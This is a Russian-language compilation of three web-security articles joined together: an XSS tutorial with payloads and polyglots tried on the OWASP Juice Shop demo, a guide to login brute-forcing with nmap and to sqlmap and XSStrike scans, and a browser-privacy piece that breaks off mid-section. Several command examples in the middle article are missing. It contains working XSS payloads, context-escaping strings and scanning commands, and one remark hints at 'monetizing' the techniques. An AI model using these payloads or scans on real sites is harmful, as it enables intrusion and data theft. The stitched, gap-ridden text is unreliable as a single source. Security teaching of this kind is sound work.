Как найти уязвимости браузера

Казалось бы, XSS уязвимостям уже 100 лет в обед: написано огромное количество материала на эту тему, браузеры и инструменты которые мы используем тоже развиваются и добавляются новые уровни защиты. Но тема не перестает быть актуальной, ведь в новой версии Top 10 Web Application Security Risks (правда двухлетней давности) XSS уязвимости по‑прежнему входят в ТОП 10 самых опасных и распространенных уязвимостей (хоть и включены теперь в группу injection), и 21% всех уязвимостей, найденных в web‑приложениях были именно XSS.

Поэтому в этой статье я хочу поговорить о том, где могут скрываться XSS уязвимости в ваших проектах и каким образом их искать. Этот материал — продолжение предыдущей статьи, где мы говорили о том, что вообще такое эта ваша XSS уязвимость, обсудили основные их типы и слегка коснулись менее распространенных уязвимостей. Если еще не читали, то советую сначала ознакомиться с ней, ну или почитать о них из любых других источников.

Первая часть: «XSS атакует! Краткий обзор XSS уязвимостей»

Top 10 Web Application Security Risks публикует открытое сообщество OWASP (The Open Worldwide Application Security Project), в которое входят специалисты по безопасности со всего мира, и занимаются разработкой различных методологий, инструментов, чтобы сделать интернет безопаснее. В новой версии топа (вышла 2 года назад, но на тот момент она не обновлялась уже 5 лет, так что это относительно недавно) XSS уязвимости по‑прежнему входят в топ 10 самых опасных и распространенных уязвимостей (хоть и включены теперь в группу injection). Согласно статистике 21% всех уязвимостей, найденных в web‑приложениях, были именно XSS.

В общем, что хочу сказать, если вы работаете, например, фронтенд разработчиком и думаете, что уязвимости — это сложно и вообще не ваша забота, пусть лучше об этом думают инженеры по безопасности или ещё кто, то хочу вас обрадовать, искать XSS уязвимости и защищаться от них не так уж и трудно. Тестировщикам думаю тоже будет полезна эта статья. Возможно, вы даже сможете найти уязвимость на своем проекте и попинать разработчика, который её допустил, а также получить классов от руководства.

Так же это может быть и прибыльной историей, потому что крупные компании часто платят хорошие деньги за найденные в их приложениях уязвимости. Но не стоит сразу начинать бегать по всем сайтам и пытаться закинуть пэйлоад во все возможные инпуты, в надежде, что сработает, и вы сможете стрясти с владельцев кучу денег. Для начала выясните, участвует ли эта компания в какой либо программе по поиску уязвимостей. Ведь если нет, то поиск уязвимостей у этой компании будет считаться преступлением, даже если вы действовали в благих целях. Ну а об использовании уязвимостей в личных целях я вообще молчу.

Где искать XSS уязвимости

Один из важнейших навыков для защиты от XSS атак — умение определить потенциальные источники уязвимостей. Это поможет вам не только найти уже существующие дыры в безопасности, но и предотвратить появление новых в процессе разработки.

В большинстве случаев источник XSS — это пользовательский ввод в том или ином виде.

Давайте разберем основные из них.

Поля ввода

Наверно, самый очевидный пример пользовательского ввода. Это может быть любой инпут в приложении: поисковое поле, поле для комментария, форма авторизации или аутентификации, форма обратной связи и т.д.

Все эти инпуты позволяют пользователю вводить данные и в наше приложение, сохранять их, а потом отображать другим пользователям. Например, мы пишем комментарий к какому‑нибудь посту, в поле ввода вместе с комментарием мы добавляем вредоносный скрипт:

какой чудесный пост! <script>alert(document.cookie)</script>

Отправляем его, и всё, что мы ввели, улетает на сервер и сохраняется в БД. Если в приложении нет должной обработки пользовательского ввода, то уже у другого пользователя, открывшего наш комментарий, запустится этот скрипт.

Или при авторизации в каком‑нибудь сервисе, в поле ввода имени, помимо имени, мы может также добавить скрипт и, в дальнейшем, у каждого пользователя, увидевшего наш ник, он запустится. На самом деле, примеров может быть бесконечное множество: везде, где вы видите поле ввода, данные из которого будут отображаться другим пользователям — потенциальная XSS уязвимость.

Кстати, оба этих примера — это stored XSS, то есть вредоносный скрипт сохранён где‑то в недрах приложения и будет запускаться у каждого пользователя, подтянувшего этот кусочек данных. Подробнее об этом я писал в предыдущей статье.

Query-параметры в URL

Часто бывает так, что для генерации страницы мы используем данные из Query‑параметров. Например в каком‑нибудь поисковике у нас есть возможность поделиться ссылкой на что‑то, что мы искали. Обычно поисковый запрос добавляется в Query‑параметр и выглядит примерно так:

https://demo.owasp-juice.shop/#/search?q=hello world

https://demo.owasp-juice.shop/#/search?q=hello world

Кстати, это демо-сайтик от OWASP для демонстрации разного рода уязвимостей, можете полазить, потыкать.

То, что находится в Query‑параметрe «q» добавляется на страницу выдачи. Мы можем поэкспериментировать и попробовать вбить в поиск:

<b>hello world</b>

Видим, что текст стал жирным.

Давайте попробуем вбить в поиск уже знакомый нам пэйлоад:

<script>alert(document.cookie)</script>

https://demo.owasp-juice.shop/#/search?q=<script>alert(document.cookie)<%2Fscript>

https://demo.owasp-juice.shop/#/search?q=<script>alert(document.cookie)<%2Fscript>

Не сработало… современные браузеры не настолько тупые и такой явный пэйлоад не отработают.

Давайте сделаем хитрее и напишем в поиск:

<img src="wrongSrc" onerror="alert(document.cookie)"/>

https://demo.owasp-juice.shop/#/search?q=<img src%3D"wrongSrc" onerror%3D"alert(document.cookie)"%2F>

https://demo.owasp-juice.shop/#/search?q=<img src%3D»wrongSrc» onerror%3D»alert(document.cookie)»%2F>

Ура, сработало! А если вы перейдете по сформированой ссылке, то сами увидите работу этой уязвимости в действии.

Как это сработало? Дело в том, что у тега img, как и у некоторых других, есть метод атрибут onerror, который выполнит весь JS-код, что мы в него передали, если произойдет ошибка загрузки изображения, что собственно и произошло, когда мы передали левую ссылку в src.

Это был пример уже другого типа уязвимости — Reflected XSS. Скрипт злоумышленника, эксплуатирующего такую уязвимость, уже не сохраняется на сервере. Бывают ситуации, когда скрипт даже не покидает пределов браузера.

Этот пример максимально прост для понимания и использовался для большей наглядности. В реальной жизни сложно представить, что в крупном приложении будет настолько очевидная уязвимость, её на самом деле очень легко предотвратить.

Но как мы уже говорили, XSS уязвимости одни из самых распространенных. Это значит, что даже современные браузеры не всегда справляются с санитизацией (так называется обработка данных для предотвращения XSS атак) пользовательского ввода, а разработчики не всегда могут правильно обработать все кейсы атак, и дальше я покажу уже более жизненные примеры.

Загружаемые файлы

Возможность загружать файлы в вашем веб приложении тоже может стать потенциальным источником XSS уязвимостей. Самые опасные форматы — HTML, XML, JavaScript. Думаю тут нет смысла объяснять, почему злоумышленнику даже не придется сильно напрягаться, чтобы запустить скрипты из таких файлов у жертвы.

Чуть менее очевидные — SVG-файлы. SVG-изображения основаны на базе XML синтакса и добавление, например, тега script:

<svg><script>alert(‘XSS’)</script></svg>

Так же SVG вполне поддерживают многие HTML-атрибуты (точнее XML) и можно написать что-то вроде:

<svg onload="alert('XSS')"> <!-- запустит скрипт после загрузки SVG -->

Помимо onloadатрибута, есть ещё куча других атрибутов, которые могут запустить JS-код, например: onerror (с которым мы уже встречались ранее), onclick, onmousedown, onmouseup и тд.

PDF файлы тоже могут представлять опасность, так как ридеры PDF файлов могут запускать JS. Импакт от такой атаки, конечно, будет не очень велик, потому что файл будет запущен не в окружении веб-приложения, из которого можно было бы стащить какие-то чувствительные данные, но злоумышленник может редиректнуть пользователя на вредоносный ресурс. Правда в Adobe Acrobat Reader вероятность успеха такого трюка ниже, так как он не даст автоматически редиректнуть пользователя, а сначала спросит его мнения на этот счет. Но как в данной ситуации поступят другие ридеры, я не знаю.

Так же для нас могут представлять опасность не только скрипты, вшитые непосредственно в тело файла, но и их метаданные. Если нам в приложении нужно отобразить, например, название загруженного файла, то это тоже может стать проблемой, так как в название файла тоже можно добавить скрипт.

Сторонние библиотеки и фреймворки

Ещё одним источником XSS уязвимостей может стать код, написанный даже не вами.

Сейчас сложно себе представить веб-приложение (да и вообще какое-либо приложение), полностью написанное командой разработки этого приложения. Мы постоянно используем сторонние библиотеки с уже готовыми решениями. Было бы глупо писать свою реализацию шифрования данных (что кстати ещё и очень опасно, так как вряд ли вы сможете написать  достаточно секьюрную систему шифрования, если только вам не дадут на это несколько лет, что вряд ли), писать личный фреймворк, когда есть React, Vue, Angular и другие. В общем, вы меня поняли :)

Так вот, сторонние библиотеки спокойно могут иметь все вышеперечисленные болячки с пользовательским вводом, что я перечислял выше.

И что же теперь удалять все либы и писать свои костыли? Не обязательно. Просто пользуйтесь проверенными библиотеками, с большим количеством пользователей и регулярно обновляемыми. Ну и, конечно, старайтесь использовать максимально актуальные версии библиотек, так как если она нормально поддерживается и в ней найдут дыру, то скорее всего в скором времени выйдет и баг фикс.

К примеру, Google тоже советует использовать как можно более свежую версию их фреймворка Angular.js. На странице Developer Guide: Security они объясняют, почему и какие уязвимости были в некоторых предыдущих версиях фреймворка (в том числе и XSS).

Как искать XSS уязвимости

По большому счету, у нас есть 2 варианта поиска уязвимостей: ручной и автоматический. Я хочу разобрать только ручной способ, так как инструменты автоматического поиска уязвимостей работают по тем же принципам. Если вы поймете, как искать вручную, то разберетесь с автоматическим способом и без моей помощи.

Глобально, при поиске XSS уязвимостей, наша основная цель — внедрить и запустить скрипт в чужое ПО, он же эксплойт.

Эксплойт — это программа, применяемая для атаки на ПО жертвы, может содержать команды, которые будут выполнены после его внедрения.

На самом деле, с парочкой эксплойтов мы уже успели познакомиться:

  • Самый простой, эксплуатирующий пользовательский ввод и, наверное, самый неэффективный: <script>alert(document.cookie)</script>

  • Чуть хитрее, но от которого всё еще очень легко защититься: <img src="wrongSrc" onerror="alert(document.cookie)"/>

  • Ну и всевозможные программы, вшитые в загружаемые файлы — SVG, PDF, HTML и т.д.

К сожалению (или к счастью), на таких эксплойтах далеко не уедешь и они хорошо подходят разве что для знакомства с темой XSS.

Но к счастью (или к сожалению), в общем доступе есть куча примеров самых различных эксплойтов. Вот, например, огромная памятка для тестировщиков — XSS Filter Evasion Cheat Sheet.

Так же есть XSS полиглоты, выглядят они примерно так:

jaVasCript:/*-/*`/*`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>x3csVg/<sVg/oNloAd=alert()//>x3e

или так:

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext></|><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">

Примеры взяты с GitHub PayloadsAllTheThings/XSS Injection. В целом, очень советую полазить по этому репозиторию, там очень много интересного, связанного с XSS и не только (за полезную ссылку спасибо @Darth_Anjan, оставившего её в комментариях к предыдущей статье).

На этом можно было бы и закончить, сказав, мол, берите эти или любые другие полиглоты, вставляйте их во все возможные поля и всё — вы хакеры.

Но, возможно, вам было бы интересно, как эти наборы символов, больше похожие на регулярки, могут запуститься в чужом ПО и ещё сделать что-то нехорошее.

Чтобы это выяснить, нам нужно познакомиться с новым понятием — контекст. Не путайте с контекстом у JS объектов. В нашем случае, это контекст того, где окажется пэйлоад после передачи его в пользовательский ввод. Давайте разберём самые распространенные и посмотрим, зачем нам нужны все эти странные символы в пэйлоадах.

HTML контекст

В него мы попадаем всякий раз, когда пользовательский ввод подставляется между открывающим и закрывающим тегами HTML. Тут нам не нужно проворачивать особых махинаций, чтобы запустить пэйлоад, например:

<script>alert("XSS")</script> или <img src="wrongSrc" onerror="alert('XSS')"/>

Правда есть исключения, например, если наш пэйлоад попадает между тегами title, textarea и другими подобными элементами, которые допускают только текст внутри себя. Мы можем это обойти, просто предварительно закрыв эти теги:

</title></textarea><script>alert("XSS")</script>

Теперь наш пэйлоад может запускаться как в обычном HTML контексте, так и не боится попадания внутрь элементов title и textarea.

Примерно по такому же принципу мы можем выйти и из JS контекста (не во всех случаях, конечно), и из CSS, и из контекста комментариев, добавив в наш пэйлоад закрывающие теги для них:

--></sсript></style></title></textarea><script>alert("XSS")</script>

Контекст атрибутов

Часто бывает так, что пользовательский ввод попадает в атрибуты элементов:

<input name="input" value="{{someValue}}">

Первое, что нам нужно сделать, это выйти из атрибута, потому что внутри атрибута наш пэйлоад будет просто строкой и не запустится:

<input name="input" value="<script>alert('XSS')</script>">

Так что мы просто добавляем в наш пэйлоад кавычку:

"<script>alert('XSS')</script>
<input name="input" value=""<script>alert('XSS')</script>">

Но так мы выйдем только из атрибута и останемся внутри тэга, нам нужно ещё закрыть тег:

"><script>alert('XSS')</script>
<input name="input" value=""><script>alert('XSS')</script>">

Есть ещё другой вариант, когда мы выходим из атрибута, но не выходим их тега, а добавляем свой атрибут события, в котором выполняем код:

"autofocus onfocus="alert('XSS')
<input name="input" value=""autofocus onfocus="alert('XSS')">

Вместо onfocus можно использовать любой другой тэг события, из тех что мы разбирали выше, но такой вариант автономный, добавив атрибут autofocus и onfocus, нам не нужно ждать действия пользователя.

Так же в HTML валидным считаются и значения атрибутов в одинарных кавычках, так что этот кейс нужно тоже покрыть:

'"autofocus onfocus="alert('XSS')

Ещё у нас есть атрибут href, который используется в тегах <a>, <link>, <base>, <area>, а также src в <iframe> и action в <form>. Помимо своей основной функции они еще могут выполнять JS с помощью псевдопротокола JavaScript. Таким образом, если мы поняли, что пользовательский ввод попадает в тег href, мы можем сделать такой пэйлоад:

javascript:alert('XSS');
<a href="javascript:alert('XSS');">Click me</a>

Есть ещё много способов выйти из JavaScript контекста под разные ситуации, где не сработает просто закрывающий тег script, да и не только из JavaScript контекста. Но их так много, что можно написать ещё одну отдельную статью просто с перечислением возможных вариантов.

Кстати, возможно вы заметили, что в одном из полиглот пэйлоаде теги, атрибуты и псевдопротокол JavaScript были написаны в разном регистре типа: jaVasCript, oNcliCk, teXtarEa. Это сделано для обхода некоторых сценариев сонации, когда идёт сравнение напрямую с JavaScript, SVG, onclick ну и так далее. Такая сонация не будет эффективной, а вот браузеру всё равно, для него такое написание валидно.

Собрав все примеры воедино, мы уже можем составить вполне себе неплохой пэйлоад, покрывающий не маленькое количество сценариев:

'"--></scRipt></sTylE></tiTle></tExTarEa><iMg sRc="wrongSrc" onerror="alert('XSS')"/>

Для разных ситуаций можно немного менять пэйлоад. Ну или просто использовать те большие пэйлоады, которые покрывают большинство кейсов. Правда это может быть не всегда возможно, так как часто в инпутах могут стоять довольно жесткие ограничения на длину пользовательского ввода.

На данный момент, пожалуй это всё, чем я хотел поделиться. В следующей статье на тему XSS хочу рассказать о том, как защищаться от атак.

Если найдете какие-то неточности или если есть что добавить по тем или иным пунктам, буду рад вашему фидбеку.


Подборка статей из блога:

  • «У меня из пет-проектов только животные дома»: новый выпуска «Из бэклога» #6

  • RTK query: что мы от него хотим и зачем

  • Как мы ведём требования к ПО: формализация

  • Ещё одна подборка книг по фронтенду

  • Про микросервисы на примерах

  • Улучшаем качество кода React-приложения с помощью Compound Components

  • Почему мы ошибаемся при первоначальной оценке фич?

  • Что такое Shared UI, как он нам помог и причём тут микросервисы

  • CSR, SSG, SSR — про рендеринг приложений на примерах

  • Как мы переходили на React-router v6: подводные камни и альтернативы

  • Зачем нам Reactive и как его готовить

  • Продакт, не копайся в метриках — апгрейдь технологии, метрики сами вырастут

Подписывайтесь на Телеграм-канал Alfa Digital — там мы постим статьи, новости, опросы, видео с митапов, краткие выжимки из статей, иногда шутим.

Продолжаем разбирать тему предыдущей статьи.

Всем салют, ребята!
Сегодня мы с вами продолжим разбирать тему предыдущей статьи.

Кстати, если вы пропустили 1 часть, то настоятельно советую с ней ознакомиться, а уже потом возвращаться к чтению данной статьи: Руководство по поиску уязвимостей на сайте | Часть 1

Ну, а теперь продолжаем!

Проверяем формы авторизации

Найти формы авторизации можно с помощью такой команды (вместо <target> — подставьте домен вашего сайта):

После того, как нашли страницы с авторизацией, можно попробовать подобрать пароль и логин для входа в админку сайта.

Параметры:

  • http-brute.hostname — имя хоста

  • http-form-brute.path — адрес страницы с формой или адрес с API

  • http-brute.method — тип метода, по умолчанию POST

  • http-form-brute.uservar — устанавливает имя переменной, которая отвечает за username. Если не установлено, то скрипт возьмет имя поля из формы

  • http-form-brute.passvar — устанавливает имя переменной, которая отвечает за пароль. Если не установлено, то скрипт возьмет имя поля из формы

Параметры нужно перечислять через запятую после -script-args.

Если скрипт успешно сработает, то выведет примерно вот такой результат:

Подобранные данные для входа будут отображены после строчки Accounts. В нашем случае скрипт подобрал логин user с паролем secret. В реальном приложении подбор может также занять продолжительное время, зависит от того насколько стойкий пароль используется.

Если форма авторизации использует cookies параметры или csrf-token, то в этом случае выдаст ошибку. Это значит, что базовая защита присутствует.

3. Ищем скрытые папки и файлы

Часто разработчики или системные администраторы довольно халатно относятся к правам доступа и забывают закрыть доступ к системным и другим важным папкам.

Проверить есть ли на сервере такие папки можно также с помощью утилиты nmap. Команды будет выглядеть так (вместо <target> нужно подставить IP-адрес сервера или домен сайта) :

В результате в отчете нам покажут доступные для просмотра папки, интересные файлы — файлы паролей, резервные копии базы данных и т.д. (Если такие существуют).

Пример небольшого отчета:

4. Проверяем на SQL инъекции

Так повелось, что большинство современных веб-приложений в той или иной мере используют SQL базы данных. Обычно параметры веб-страницы или какие-либо пользовательские данные подставляются в SQL запросы и результаты запроса отображаются на веб-странице. Если передаваемые параметры плохо фильтруются, то веб-сервис становится уязвимым для SQL инъекций.

Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно. Именно таким образом чаще всего воруют базы пользователей и их личные данные.

Далее я покажу, как с помощью скриптов быстро и эффективно проверить, есть ли в интересующем нас сайте подобные уязвимости. Часто даже довольно опытные разработчики забывают о мерах предосторожности, поэтому даже серьезные продукты имеют подобные проблемы. Попробуем проверить веб-сервис на наличие таких проблем c помощью инструмента sqlmap.

Установка sqlmap

Sqlmap — это кроссплатформенный сканер с открытым исходным кодом, который позволяет в автоматическом режиме тестировать веб-сервисы на наличие SQL инъекций, а затем использовать их для получения контроля над базой данных.

В данной статье я рассмотрю только способы того, как можно находить уязвимые для SQL инъекций страницы, API и формы, без подробностей о том, как использовать найденные уязвимости для нанесения вреда.

Для использования необходим Рython версии 2.7 и старше.

Установка на Windows

Для начала работы нам необходимо установить Python. Установщик Python для Windows можно найти на официальном сайте.

  • Нажмите сюда, что бы скачать

На сайте две ветки — 2.x и 3.x, но скачать и установить лучше ветку 3.x. Sqlmap корректно работают с каждой из этих версий, но в дальнейшем нам потребуется версия 3.x.

Загрузить последнюю версию sqlmap можно здесь. Распакуйте архив в любую удобную папку (чтобы было проще ее найти можно распаковать в папку С:Users<имя вашего пользователя>)

Для запуска вначале нужно открыть командную строку. Нажмите Win+R, в появившемся окне введите cmd и нажмите enter.

Пример запуска:

Начинаем проверку

В моем тестируемом сервисе я специально подготовил sql уязвимости. Попробуем найти их следующей командой. Параметр —dbs означает, что нам интересны имена баз данных. В случае успеха и наличия уязвимости, после определения баз данных можно перейти к поиску таблиц и получения нужных данных. Команду необходимо вводить в консоль:

Через некоторое время скрипт может попросить нас уточнить некоторые данные. В данном случае выбираю «нет», чтобы скрипт прогнал все тесты.

Скрипт выводит отчет:

После продолжения анализа нас в первую очередь интересует строчка в конце:

GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N]. 

Как можно видеть, скрипт определил, что параметр id уязвим и предлагает протестировать другие параметры. В нашем конкретном случае других параметров нет, но в реальных веб-приложениях таких параметров может быть десятки, так что иногда имеет смысл проверить все.

Итоговый отчет:

В итоге скрипт не только определил, что параметр id является уязвимым, но и версию СУБД, а также получил название используемой базы данных на сервере — vc_test, в которой содержится контент сайта. Эту информацию можно найти в конце сгенерированного отчета.

В дальнейшем для хакера уже обычно не проблема получить данные в таблицах, а возможно и полный контроль над всей БД, а то и всем сервером и исходным кодом сайта, если для запросов используется пользователь с широкими правами.

Кроме того, sqlmap позволяет задавать http заголовки и параметры Cookies, что довольно удобно для тестирования, особенно когда для получения результата запроса требуется авторизации.

Пример тестирования запроса POST. Параметры, которые передаются в теле запроса записываются в опцию скрипта —data. Необходимые параметры для POST запроса можно подсмотреть в консоли браузера (Ctrl + Shift + I в Windows, затем перейти в вкладку Network, совершить нужное действие, а затем изучить каким образом формируется запрос)

После авторизации обычно необходимо передать нужные Сookie. В sqlmap за это отвечает опция —cookie. Нужные значения cookies можно получить в инструментах разработчика вашего браузера. (в Windows ctrl+shift+i, затем найдите вкладку Network, а в ней щелкните на запрос с именем домена сайта. В окне справа пролистайте пока не увидите параметр cookie)

Пример команды sqlmap c опцией —cookie:

sqlmap.py -u http://localhost/create --data="name=alex&message=hacked" --cookie="security_level=low; PHPSESSID=05aa4349068a1kkaje4kcqnr9o6" --dbs -o -random-agent

Если параметров несколько, то можно явно указать какой параметр будем тестировать с помощью опции -p.

Можно задавать http заголовки через опцию —headers. Это крайне полезно для тестирования ваших API.

Также если get параметр передается не как get параметр, а как URI, то в этом случае нужно явно указать с помощью *, что данная часть URI является параметром.

Пример:

sqlmap.py -u "http://localhost/api/v2/news/2*" --headers="Authorization: Bearer <token>" --dbs -o -random-agent

Таким образом можно довольно тщательно протестировать веб-приложение на наличие SQL инъекций. Также крайне полезно использовать sqlmap для автоматических тестов.

Для защиты от SQL инъекций нужно тщательно фильтровать параметры и HTTP заголовки, а также использовать подготовленные запросы.

5. Проверка на XSS уязвимости.

Межсайтовый скриптинг (XSS) – это уязвимость, которая заключается во внедрении злоумышленником своего Javascript кода в веб-страницу, которая отображается в браузере пользователя.

После такого внедрения хакер фактически захватывает веб-страницу и может манипулировать данными пользователя, когда он находится на странице. В случае успеха он может:

  • Внедрять свои скрипты в веб-страницу

  • Отправлять на свой сервер пользовательские данные — банковские карты, идентификаторы сессий, пароли и тд.

  • Совершать действия от имени пользователя — рассылать спам, совершать денежные переводы

Уязвимость возникает из-за недостаточной фильтрации данных, которые выводятся при отображении страницы.

Такие уязвимости довольно часто встречаются даже в крупных продуктах, поэтому стоит обязательно тестировать веб-приложения на наличие XSS уязвимостей.

В данном случае для тестирования мы воспользуемся утилитой XSStrike

ХSStrike — это довольно продвинутый сканер для поиска XSS уязвимостей c открытым исходным кодом. Он написано на Python3 и довольно прост в начальной настройке и использования.

Установка

Для установки необходимо скачать архив по ссылке и распаковать в удобную вам папку. После этого необходимо открыть консоль и перейти в распакованную папку. Затем нужно выполнить команды в консоли:

Установим необходимые для корректной работы библиотеки:

Теперь все готово к тестированию. Пример простого запуска, вместо моего url укажите адрес страницы, которую хотите протестировать:

Очень быстро скрипт обнаруживает, что параметр page является уязвимым ( строчка Reflections found ) и через него можно передать js код, который будет исполнен на странице. Пример такого кода приводится в строчке Payload. Такой тип XSS уязвимостей называется reflected XSS.

Кроме того, можно проверять и формы. Отправим на проверку форму, которая отправляет сообщение в наш сервис. Чтобы передать список POST параметров используем опцию —data.

Результат: параметр name уязвим.

Как выглядит ответ, когда скрипт не находит уязвимых параметров:

Кроме того, в XSStrike поддерживает возможность передавать http заголовки, в том числе и cookies и проверять страницы для открытия которых нужна авторизация. Для этого используется опция —headers

python xsstrike.py -u "http://161.35.92.161/index.php" --data "name=&message=" --headers "Authorization: Bearer <token> Cookie: zmname=none" --blind

Также можно запустить обход по всему сайту. Нужно указать стартовую страницу и сканер начнет обход всех найденных страниц. Запись -l 100 отвечает за количество страниц обхода.

Скрипт покажет страницы, на которых были найдены уязвимые параметры. Найденные страницы можно уже исследовать подробнее.

Также полезная функция — обход url страниц, которые указаны в файле с помощью опции —seeds. Можно также использовать вместе с опцией —headers.

Таким образом можно достаточно тщательно проверить любое веб-приложение на XSS уязвимости.

Заключение

Надеюсь, что данное руководство будет полезным для вас.
У этих знаний, которые я дал вам в двух частях этой статьи, бесконечные варианты монетизации. Отмечу, что также стоит проверять не только сам сайт, но и админки, вспомогательные сервисы на поддоменах, т.к. они также могут быть уязвимы перед подобными автоматизируемыми системами и скриптами.

Спасибо за внимание!

Насколько безопасен ваш браузер?

Сколько информации можно извлечь из вашего профиля просмотра веб-страниц?

Почему вы видите рекламу, связанную с тем, что вы искали, недавно купили или о чем читали?

Как лучше защитить свою конфиденциальность в Интернете?

На эти и другие вопросы поможет вам ответить данная статья и подскажет способы, с помощью которых вы сможете лучше защитить свою конфиденциальность в Интернете.

Важно отметить, что компании, создающие браузеры, которыми мы чаще всего пользуемся, такие как Google (Chrome), Mozilla (Firefox), Apple (Safari), Microsoft (Edge), Opera и др. стараются как можно лучше защитить пользователей и их личную информацию при использовании этих продуктов.

Поэтому данная статья направлена не на подрыв этих усилий, а на то, чтобы помочь вам, пользователю, сделать грамотный выбор при использовании этих и других браузеров для различных видов деятельности.

Интернет – это наши врата в мир, помогающие нам виртуально добраться куда угодно для получения информации, торговли, бизнеса, общения и всех других нужд и потребностей.

Следовательно, необходимо обезопасить себя, как мы обычно делаем в реальном мире, поскольку не все в Интернете имеют честные намерения.

Хотя на вашем компьютере могут быть установлены антивирусы, блокирующие все виды вредоносных программ, ваш браузер также может быть уязвим.

Давайте рассмотрим некоторые возможные уязвимости.

Содержание

  1. XSS (межсайтовый скриптинг)
  2. Reflected XSS
  3. DOM XSS
  4. Stored XSS
  5. Отслеживание третьими сторонами
  6. Криптомайнеры
  7. Фингерпринты
  8. Утечки Web RTC
  9. Просмотр через прокси-сервер
  10. Как проверить безопасность браузера?
  11. Qualys BrowserCheck
  12. Cloudflare ESNI Checker
  13. Privacy Analyzer
  14. Panopticlick
  15. Webkay
  16. Совместимость SSL/TLS
  17. How’s My SSL?
  18. AmIUnique
  19. Как усилить безопасность браузеров?

XSS (межсайтовый скриптинг)

Межсайтовый скриптинг можно просто описать как инъекцию кода (обычно кода Javascript).

Цель такой атаки – нарушить безопасность веб-приложения через клиента (в основном через браузеры).

🐛 Бесплатные инструменты XSS

Злоумышленники пытаются использовать этот вид атаки для использования слабой валидации и отсутствия политики безопасности контента (CSP) в некоторых веб-приложениях.

Существуют различные виды XSS; давайте рассмотрим подробнее, что это такое и как они могут быть использованы.

  • 💉 LibInjection – обнаружение SQL инъекции (SQLi) и межсайтового скриптинга (XSS)
  • ✗ XSS-Finder: сверхмощный и усовершенствованный сканер межсайтового скриптинга

Reflected XSS

Это очень распространенный тип XSS, используемый для работы с клиентской стороной приложения.

Код, внедряемый здесь, не сохраняется в базе данных, но ожидается, что он вызовет ответ от клиентской части приложения.

Отсюда и название “отраженная”.

Эта атака успешно работает в случае, когда приложение принимает пользовательский ввод и возвращает его после некоторой обработки без сохранения в базе данных.

Обычный пример – миниатюрный чат-форум, где сообщения не сохраняются в базе данных.

В таких случаях приложение принимает пользовательский ввод и выводит его в виде HTML.

Злоумышленник может ввести в чат-форум вредоносный скрипт, например, изменить дизайн или цвета приложения, введя некоторые CSS в теги скрипта.

Для других пользователей приложения все может стать еще хуже, поскольку скрипт будет выполняться на их браузерах, что может привести к краже информации, например, к краже данных автозаполнения, сохраненных в браузере.

Многие пользователи предпочитают сохранять часто вводимую информацию в формах, например, имена, адреса и данные кредитных карт, что в данном случае является плохой идеей.

DOM XSS

DOM – Document Object Model, это программный интерфейс, который интерпретирует HTML (или XML), используемый на веб-страницах, и, следовательно, определяет логическую структуру конкретной веб-страницы.

Этот тип XSS использует веб-приложения с небезопасным встроенным кодом javascript в разметке, составляющей веб-страницу.

XSS, используемый здесь, может быть использован для прямого изменения DOM.

Это может быть использовано для изменения практически любой части веб-страницы, с которой взаимодействует пользователь, что может привести к фишингу.

Как предотвратить межсайтовый скриптинг XSS на основе DOM

Stored XSS

Это тип XSS, при котором вредоносный код не только отражается обратно пользователю, но и персистируется (сохраняется) в базе данных веб-сервера, на котором размещено веб-приложение.

Этот тип XSS еще более опасен, поскольку его можно повторно использовать для атак на несколько жертв, так как он сохраняется (для последующего использования).

Это может произойти в том случае, если формы, вводимые пользователями, не проверяются должным образом перед отправкой в базу данных.

В целом, XSS может быть любого типа в комбинации; одна атака может быть как отраженной, так и сохраняемой.

Техники, используемые для осуществления атаки, также могут различаться, но имеют общие черты с вышеупомянутыми.

Некоторые крупные браузеры, такие как Chrome и Edge, в качестве функции безопасности разработали собственные протоколы безопасности клиента для предотвращения XSS-атак, известные как X-XSS-Protection.

В Chrome есть XSS Auditor, который был представлен в 2010 году для обнаружения XSS-атак и остановки загрузки таких веб-страниц при обнаружении.

Однако эта функция оказалась менее полезной, чем предполагалось вначале, и впоследствии была удалена после того, как исследователи заметили несоответствия в ее результатах и случаи ложных срабатываний.

XSS-атаки представляют собой сложную задачу для решения на стороне клиента.

Браузер Edge также имел XSS-фильтр, который позже был удален.

В Firefox, как сообщает сайт MDN (Mozilla Developer Network:

Firefox не применял и не будет применять X-XSS-защиту

Отслеживание третьими сторонами

Еще одна важная часть обеспечения конфиденциальности в Интернете – быть осведомленным о сторонних отслеживающих файлах cookie.

Cookies, как правило, считаются нормальным явлением в Интернете, поскольку они используются веб-сайтами для уникальной идентификации пользователей и для того, чтобы иметь возможность соответствующим образом адаптировать пользовательский опыт просмотра.

Так обстоит дело с сайтами электронной коммерции, где они используют файлы cookie, чтобы сохранить вашу сессию покупок, а также сохранить товары, которые вы добавили в корзину.

Такие файлы cookie известны как файлы cookie первой стороны.

Таким образом, когда вы просматриваете сайты на сайте itsecforu.ru, файлы cookie, используемые сайтом itsecforu.ru, являются файлами cookie первой стороны (нормальными).

Существует также несколько случаев использования cookies второй стороны, когда веб-сайты предлагают (или продают) свои cookies первой стороны другому сайту для предоставления рекламы пользователю.

В этом случае файлы cookie можно рассматривать как сторонние.

Сторонние файлы cookie – это большие файлы cookie, управляемые рекламой, которые используются для межсайтового отслеживания и повторной целевой рекламы.

Это файлы cookie, устанавливаемые в браузеры пользователей без ведома или согласия пользователя для получения информации о пользователе и всех видов профилей данных, таких как веб-сайты, которые посещает пользователь, поисковые запросы, ISP (Internet Service Provider), которым пользуется пользователь, технические характеристики ноутбука, заряд батареи и т.д.

Эти данные используются для формирования профиля данных в Интернете.

Эта информация используется для формирования интернет-профиля данных о пользователе, что позволяет использовать ее для целевой рекламы.

Злоумышленники, похищающие такую информацию, обычно занимаются поиском данных и могут продавать эти данные крупным рекламным сетям.

Криптомайнеры

Некоторые веб-сайты в Интернете содержат скрипты криптомайнинга, созданный либо владельцем сайта, либо третьей стороной.

Эти скрипты позволяют злоумышленнику использовать вычислительные ресурсы жертвы для добычи криптовалют.

